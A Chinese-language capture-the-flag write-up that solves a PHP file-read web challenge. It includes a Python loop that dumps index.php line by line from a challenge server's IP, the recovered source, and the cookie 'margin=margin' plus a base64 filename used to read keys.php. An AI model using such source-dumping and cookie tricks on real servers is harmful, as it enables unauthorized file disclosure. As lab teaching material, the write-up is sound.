打开容器,发现一大串字符串,发现他们是循环的,研究了一会什么都没发现(事实的确是字符串本身没有什么意义)
上面有俩参数,解码一下是keys.txt,前面的line改0页面不变,改1发现页面改变。
把key.txt改成index.php,发现该前面的参数为1出现代码,改2有不同的代码,结合参数名猜测是通过参数控制显示不同的行,后面还有很多,写个脚本跑一下
import requests
url='http://123.206.87.240:8002/web11/index.php?line=2&filename=aW5kZXgucGhw'
for i in range(1,30):
payload='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'%(i)
a=requests.get(url=payload)
print(a.text)
源代码
<?error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
简单分析一下,当cookie里的参数margin='margin’时,会把keys.php加进数组,很明显这个数组是我们外面参数可操控查看的,抓包添加cookie
line=0&filename=a2V5cy5waHA=
keys.php记得base64